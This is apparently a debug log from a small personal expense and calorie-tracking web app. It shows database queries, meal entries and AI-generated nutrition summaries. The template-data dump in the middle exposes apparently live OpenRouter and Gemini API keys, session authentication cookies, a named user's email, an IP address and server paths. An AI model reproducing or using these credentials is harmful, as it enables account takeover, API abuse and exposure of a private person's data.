  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-20T04:57:25.875Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-20T04:57:25.876Z server-connect:app Executing action step identify
2025-12-20T04:57:25.876Z server-connect:app options: { provider: 'security' }
2025-12-20T04:57:25.876Z server-connect:output identity: 1
2025-12-20T04:57:25.876Z server-connect:app Executing action step restrict
2025-12-20T04:57:25.876Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-20T04:57:25.877Z server-connect:router Serving serverConnect /api/health/get-schedule
2025-12-20T04:57:25.877Z server-connect:output restrict: undefined
2025-12-20T04:57:25.877Z server-connect:app Executing action step single
2025-12-20T04:57:25.877Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-20T04:57:25.877Z server-connect:app Executing action step identify
2025-12-20T04:57:25.877Z server-connect:app options: { provider: 'security' }
2025-12-20T04:57:25.877Z server-connect:output identity: 1
2025-12-20T04:57:25.877Z server-connect:app Executing action step restrict
2025-12-20T04:57:25.877Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-20T04:57:25.877Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-20T04:57:25.878Z server-connect:output restrict: undefined
2025-12-20T04:57:25.878Z server-connect:app Executing action step select
2025-12-20T04:57:25.878Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [],
    table: { name: 'workout_schedule' },
    joins: [],
    primary: 'schedule_id',
    query: 'select * from `workout_schedule`'
  }
}
2025-12-20T04:57:25.878Z server-connect:output list: [
  {
    schedule_id: 2,
    schedule_name: 'Fat Loss',
    start_date: '2025-03-31T18:30:00.000Z',
    end_date: '2025-05-07T18:30:00.000Z',
    days: 6,
    created_on: '2025-04-20T09:05:58.000Z',
    created_by: 1,
    updated_on: '2025-04-20T09:13:32.000Z',
    updated_by: null,
    status: 'Not Started',
    description: 'this is a test description'
  },
  {
    schedule_id: 3,
    schedule_name: 'Fat Loss',
    start_date: '2025-11-14T18:30:00.000Z',
    end_date: '2025-11-14T18:30:00.000Z',
    days: 70,
    created_on: '2025-11-11T01:10:11.000Z',
    created_by: 1,
    updated_on: null,
    updated_by: null,
    status: 'Not Started',
    description: 'test'
  }
]
2025-12-20T05:41:15.855Z server-connect:router Serving templateView /calorie-tracker
2025-12-20T05:41:15.855Z server-connect:app Executing action step identify
2025-12-20T05:41:15.855Z server-connect:app options: { provider: 'security' }
2025-12-20T05:41:15.855Z server-connect:output identity: 1
2025-12-20T05:41:15.855Z server-connect:app Executing action step restrict
2025-12-20T05:41:15.855Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-20T05:41:15.857Z server-connect:output restrict: undefined
2025-12-20T05:41:15.857Z server-connect:router Render template calorie-tracker
2025-12-20T05:41:15.858Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Android"',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?1',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"53b4-hJwt03sV3qAQlEbosi1oHRrMibw"',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3AQO2YDxa5pM5Ayg0utwrcmQ%3D%3D.MBmfoA5%2Fj%2Fcxuj8KQyeoPexDuPf3N0T3cExcl6WVDabiewoCsutCEIKYw5oFX0OSu43u4Jd7M8%2FbWbbC2lpH9kV84IDbLel%2B0zJDM44tjtYFMwMvDElhtQvsEsMwNbHPb4yUCthHNWecsvWQuBfIvtM3xuyP%2BkxRbNueyDzPqes%3D.Y%2B3XOy8y1zuuCQSQ3tL4qrXP7FgWCGU6vJ9xC6VafP0; your_r_git.sid=s%3AOH2eG_9RjHtGk97czxQJoVy6cL02DRSK.RDKekWSeoR2%2BaLyOqFEC54c40XxU4PbblMrwPTx0hGQ',
    'x-forwarded-for': '157.48.251.16',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-21T03:30:22.106Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/calorie-tracker',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '157.48.251.16',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/calorie-tracker',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"53b4-hJwt03sV3qAQlEbosi1oHRrMibw"',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3AQO2YDxa5pM5Ayg0utwrcmQ%3D%3D.MBmfoA5%2Fj%2Fcxuj8KQyeoPexDuPf3N0T3cExcl6WVDabiewoCsutCEIKYw5oFX0OSu43u4Jd7M8%2FbWbbC2lpH9kV84IDbLel%2B0zJDM44tjtYFMwMvDElhtQvsEsMwNbHPb4yUCthHNWecsvWQuBfIvtM3xuyP%2BkxRbNueyDzPqes%3D.Y%2B3XOy8y1zuuCQSQ3tL4qrXP7FgWCGU6vJ9xC6VafP0; your_r_git.sid=s%3AOH2eG_9RjHtGk97czxQJoVy6cL02DRSK.RDKekWSeoR2%2BaLyOqFEC54c40XxU4PbblMrwPTx0hGQ',
    'HTTP_X_FORWARDED-FOR': '157.48.251.16',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2025-12-20T05:41:16.193Z server-connect:router Serving serverConnect /api/health/todays-calories
2025-12-20T05:41:16.193Z server-connect:router Serving serverConnect /api/gemini/get-health-summary
2025-12-20T05:41:16.194Z server-connect:app Executing action step identify
2025-12-20T05:41:16.194Z server-connect:app options: { provider: 'security' }
2025-12-20T05:41:16.194Z server-connect:output identity: 1
2025-12-20T05:41:16.194Z server-connect:app Executing action step restrict
2025-12-20T05:41:16.194Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-20T05:41:16.194Z server-connect:app Executing action step identify
2025-12-20T05:41:16.194Z server-connect:app options: { provider: 'security' }
2025-12-20T05:41:16.194Z server-connect:output identity: 1
2025-12-20T05:41:16.194Z server-connect:app Executing action step restrict
2025-12-20T05:41:16.194Z server-connect:app options: { provider: 'security' }
2025-12-20T05:41:16.194Z server-connect:output restrict: undefined
2025-12-20T05:41:16.194Z server-connect:app Executing action step single
2025-12-20T05:41:16.194Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'health_summary' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `summary`, `date` from `health_summary` where `health_summary`.`date` = ?'
  }
}
2025-12-20T05:41:16.195Z server-connect:output restrict: undefined
2025-12-20T05:41:16.195Z server-connect:app Executing action step single
2025-12-20T05:41:16.195Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object] ],
    table: { name: 'calories_requirement' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `start_date`, `end_date`, `maintenance_calories`, `weight_kg`, `target_calories` from `calories_requirement` where `calories_requirement`.`start_date` <= ? and `calories_requirement`.`end_date` >= ?'
  }
}
2025-12-20T05:41:16.197Z server-connect:output summary: {
  summary: {
    rating: 3,
    summary: "Today's intake appears to be very limited, with only a pre-workout supplement and a single meal of paneer recorded. This lack of variety and substantial food intake is unlikely to support muscle development or provide adequate recovery after your early morning gym sessions. The weight logs show a general downward trend over the past couple of weeks, suggesting some progress, but the current day's nutrition is not aligned with your goals.",
    bad_points: [
      'Extremely limited food intake for the entire day.',
      'Lack of diverse food groups, missing carbohydrates and healthy fats.',
      'Inadequate protein intake for muscle development and recovery.',
      'No indication of hydration or other essential nutrients.'
    ],
    good_points: [
      'Pre-workout was consumed, indicating readiness for training.',
      'Paneer provides a good source of protein.'
    ],
    suggestions: [
      'Incorporate at least two more balanced meals throughout the day.',
      'Ensure meals include a good source of lean protein, complex carbohydrates, and healthy fats.',
      'Add a variety of vegetables and fruits for micronutrients and fiber.',
      'Prioritize post-workout nutrition to aid recovery and muscle synthesis.',
      'Stay well-hydrated by drinking plenty of water.'
    ],
    predicted_weight: 69.8,
    predicted_weight_trend: 'slight loss'
  },
  date: '2025-12-19T18:30:00.000Z'
}
2025-12-20T05:41:16.198Z server-connect:output requirements: {
  id: 3,
  start_date: '2025-11-09T18:30:00.000Z',
  end_date: '2025-12-29T18:30:00.000Z',
  maintenance_calories: 2400,
  weight_kg: '71.00',
  target_calories: 1800
}
2025-12-20T05:41:16.198Z server-connect:app Executing action step select
2025-12-20T05:41:16.198Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select * from `calories_tracking` where `calories_tracking`.`intake_date` = ? order by `id` ASC',
    orders: [ [Object] ]
  }
}
2025-12-20T05:41:16.200Z server-connect:output item_list: [
  {
    id: 460,
    intake_date: '2025-12-19T18:30:00.000Z',
    item_name: 'Pre-workout',
    calories: 0,
    protein_gm: 0,
    carbs_gm: 0,
    fat_gm: 0,
    quantity: '1 scoop',
    replacements: 'Black coffee,Green tea,BCAA supplements (calorie-free)',
    created_at: '2025-12-19T22:39:38.000Z',
    skip_level: 2,
    skip_reason: "Pre-workouts vary greatly in ingredients and calorie content. Some can contain significant amounts of sugar or artificial sweeteners, and their effectiveness for muscle development can be debated. While generally safe, it's good to be mindful of what's in your specific pre-workout."
  },
  {
    id: 461,
    intake_date: '2025-12-19T18:30:00.000Z',
    item_name: 'Paneer (soft and fluffy)',
    calories: 352,
    protein_gm: 23,
    carbs_gm: 4,
    fat_gm: 28,
    quantity: '110 gm',
    replacements: 'Tofu (firm or extra-firm),Low-fat cottage cheese,Chicken breast,Egg whites',
    created_at: '2025-12-19T22:39:38.000Z',
    skip_level: 1,
    skip_reason: "Paneer is a good source of protein and fat, essential for muscle development. While it's relatively high in calories and fat, in moderation and as part of a balanced diet, it's beneficial for your goals."
  }
]
2025-12-20T05:41:16.201Z server-connect:app Executing action step setvalue
2025-12-20T05:41:16.201Z server-connect:app options: { key: 'var_total', value: "{{item_list.sum('calories')}}" }
2025-12-20T05:41:16.201Z server-connect:output var_total: 352
2025-12-20T05:41:16.201Z server-connect:app Executing action step setvalue
2025-12-20T05:41:16.201Z server-connect:app options: {
  key: 'var_consumed',
  value: '{{((var_total / requirements.maintenance_calories)*100).round(0)}}'
}
2025-12-20T05:41:16.201Z server-connect:output var_consumed: 15
2025-12-20T05:41:16.201Z server-connect:app Executing action step setvalue
2025-12-20T05:41:16.201Z server-connect:app options: {
  key: 'var_deficit',
  value: '{{requirements.maintenance_calories-var_total}}'
}
2025-12-20T05:41:16.201Z server-connect:output var_deficit: 2048
2025-12-20T05:41:16.201Z server-connect:app Executing action step custom
2025-12-20T05:41:16.201Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT\n' +
      '  ct.intake_date,\n' +
      '  SUM(ct.calories) AS total_consumed,\n' +
      '  COALESCE(cr.maintenance_calories, 0) - SUM(ct.calories) AS surplus_or_deficit,\n' +
      '  CASE\n' +
      '    WHEN SUM(ct.calories) > COALESCE(cr.maintenance_calories, 0) THEN 0\n' +
      '    WHEN SUM(ct.calories) >= COALESCE(cr.target_calories, 0) THEN 1\n' +
      '    ELSE 2\n' +
      '  END AS status_flag\n' +
      'FROM calories_tracking ct\n' +
      'LEFT JOIN (\n' +
      '  -- pick the requirement row that covers TODAY (CURDATE())\n' +
      '  SELECT *\n' +
      '  FROM calories_requirement\n' +
      '  WHERE DATE(start_date) <= CURDATE()\n' +
      '    AND DATE(end_date)   >= CURDATE()\n' +
      '  ORDER BY start_date DESC\n' +
      '  LIMIT 1\n' +
      ') cr ON 1 = 1\n' +
      "WHERE ct.intake_date >= DATE_FORMAT(CURDATE(), '%Y-%m-01')\n" +
      "  AND ct.intake_date <  DATE_ADD(DATE_FORMAT(CURDATE(), '%Y-%m-01'), INTERVAL 1 MONTH)\n" +
      'GROUP BY ct.intake_date\n' +
      'ORDER BY ct.intake_date;',
    params: []
  }
}
2025-12-20T05:41:16.202Z server-connect:output monthly_chart: [
  {
    intake_date: 2025-11-30T18:30:00.000Z,
    total_consumed: '1890',
    surplus_or_deficit: '510',
    status_flag: 1
  },
  {
    intake_date: 2025-12-01T18:30:00.000Z,
    total_consumed: '1094',
    surplus_or_deficit: '1306',
    status_flag: 2
  },
  {
    intake_date: 2025-12-02T18:30:00.000Z,
    total_consumed: '1923',
    surplus_or_deficit: '477',
    status_flag: 1
  },
  {
    intake_date: 2025-12-03T18:30:00.000Z,
    total_consumed: '1851',
    surplus_or_deficit: '549',
    status_flag: 1
  },
  {
    intake_date: 2025-12-04T18:30:00.000Z,
    total_consumed: '2435',
    surplus_or_deficit: '-35',
    status_flag: 0
  },
  {
    intake_date: 2025-12-05T18:30:00.000Z,
    total_consumed: '1055',
    surplus_or_deficit: '1345',
    status_flag: 2
  },
  {
    intake_date: 2025-12-07T18:30:00.000Z,
    total_consumed: '2303',
    surplus_or_deficit: '97',
    status_flag: 1
  },
  {
    intake_date: 2025-12-08T18:30:00.000Z,
    total_consumed: '1571',
    surplus_or_deficit: '829',
    status_flag: 2
  },
  {
    intake_date: 2025-12-09T18:30:00.000Z,
    total_consumed: '1297',
    surplus_or_deficit: '1103',
    status_flag: 2
  },
  {
    intake_date: 2025-12-12T18:30:00.000Z,
    total_consumed: '1882',
    surplus_or_deficit: '518',
    status_flag: 1
  },
  {
    intake_date: 2025-12-13T18:30:00.000Z,
    total_consumed: '404',
    surplus_or_deficit: '1996',
    status_flag: 2
  },
  {
    intake_date: 2025-12-14T18:30:00.000Z,
    total_consumed: '2521',
    surplus_or_deficit: '-121',
    status_flag: 0
  },
  {
    intake_date: 2025-12-15T18:30:00.000Z,
    total_consumed: '2030',
    surplus_or_deficit: '370',
    status_flag: 1
  },
  {
    intake_date: 2025-12-16T18:30:00.000Z,
    total_consumed: '2088',
    surplus_or_deficit: '312',
    status_flag: 1
  },
  {
    intake_date: 2025-12-17T18:30:00.000Z,
    total_consumed: '1668',
    surplus_or_deficit: '732',
    status_flag: 2
  },
  {
    intake_date: 2025-12-18T18:30:00.000Z,
    total_consumed: '2115',
    surplus_or_deficit: '285',
    status_flag: 1
  },
  {
    intake_date: 2025-12-19T18:30:00.000Z,
    total_consumed: '352',
    surplus_or_deficit: '2048',
    status_flag: 2
  }
]
2025-12-20T05:41:17.097Z server-connect:app Executing action step identify
2025-12-20T05:41:17.097Z server-connect:app options: { provider: 'security' }
2025-12-20T05:41:17.097Z server-connect:output identity: 1
2025-12-20T05:41:27.702Z server-connect:router Serving serverConnect /api/gemini/calculate-calorie
2025-12-20T05:41:27.702Z server-connect:app Executing action step identify
2025-12-20T05:41:27.702Z server-connect:app options: { provider: 'security' }
2025-12-20T05:41:27.702Z server-connect:output identity: 1
2025-12-20T05:41:27.702Z server-connect:app Executing action step restrict
2025-12-20T05:41:27.703Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-20T05:41:27.703Z server-connect:output restrict: undefined
2025-12-20T05:41:27.703Z server-connect:app Executing action step processWithGemini
2025-12-20T05:41:27.703Z server-connect:app options: { request_type: 'calories', raw_text: '{{$_POST.calorie_query}}' }
2025-12-20T05:41:29.309Z server-connect:output calculate_calorie: {
  items: [
    {
      food_name: 'Whey Protein',
      quantity: '1 scoop (approx. 30g, assuming a standard scoop size to provide 27g protein)',
      calories_consumed: 120,
      total_calories: 120,
      protein: 27,
      carbs: 2,
      fat: 1,
      lower_calorie_alternatives: [Array],
      skip_level: 1,
      skip_reason: 'Excellent for muscle development, high in protein, low in carbs and fat. Ideal for your goals.'
    }
  ],
  total_macros: {
    protein: { value: 27, unit: 'g' },
    carbs: { value: 2, unit: 'g' },
    fat: { value: 1, unit: 'g' }
  }
}
2025-12-20T05:41:33.976Z server-connect:router Serving serverConnect /api/health/manage-calories
2025-12-20T05:41:33.977Z server-connect:app Executing action step identify
2025-12-20T05:41:33.977Z server-connect:app options: { provider: 'security' }
2025-12-20T05:41:33.977Z server-connect:output identity: 1
2025-12-20T05:41:33.977Z server-connect:app Executing action step restrict
2025-12-20T05:41:33.977Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-20T05:41:33.977Z server-connect:output restrict: undefined
2025-12-20T05:41:33.977Z server-connect:app Executing action step condition
2025-12-20T05:41:33.977Z server-connect:app options: {
  if: '{{$_POST.items.length}}',
  then: {
    steps: {
      name: 'repeat',
      module: 'core',
      action: 'repeat',
      options: [Object],
      output: true,
      meta: [Array],
      outputType: 'array'
    }
  }
}
2025-12-20T05:41:33.977Z server-connect:app Executing action step repeat
2025-12-20T05:41:33.977Z server-connect:app options: {
  repeat: '{{$_POST.items}}',
  outputFields: [],
  exec: {
    steps: {
      name: 'calories',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array]
    }
  }
}
2025-12-20T05:41:33.977Z server-connect:app Executing action step insert
2025-12-20T05:41:33.977Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    table: 'calories_tracking',
    returning: 'id',
    query: 'insert into `calories_tracking` (`calories`, `carbs_gm`, `created_at`, `fat_gm`, `intake_date`, `item_name`, `protein_gm`, `quantity`, `replacements`, `skip_level`, `skip_reason`) values (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2025-12-20T05:41:33.979Z server-connect:output calories: { affected: 1, identity: 462 }
2025-12-20T05:41:33.979Z server-connect:output repeat: [ {} ]
2025-12-20T05:41:33.979Z server-connect:output condition: undefined
2025-12-20T05:41:34.185Z server-connect:router Serving templateView /calorie-tracker
2025-12-20T05:41:34.185Z server-connect:app Executing action step identify
2025-12-20T05:41:34.185Z server-connect:app options: { provider: 'security' }
2025-12-20T05:41:34.185Z server-connect:output identity: 1
2025-12-20T05:41:34.185Z server-connect:app Executing action step restrict
2025-12-20T05:41:34.185Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-20T05:41:34.185Z server-connect:output restrict: undefined
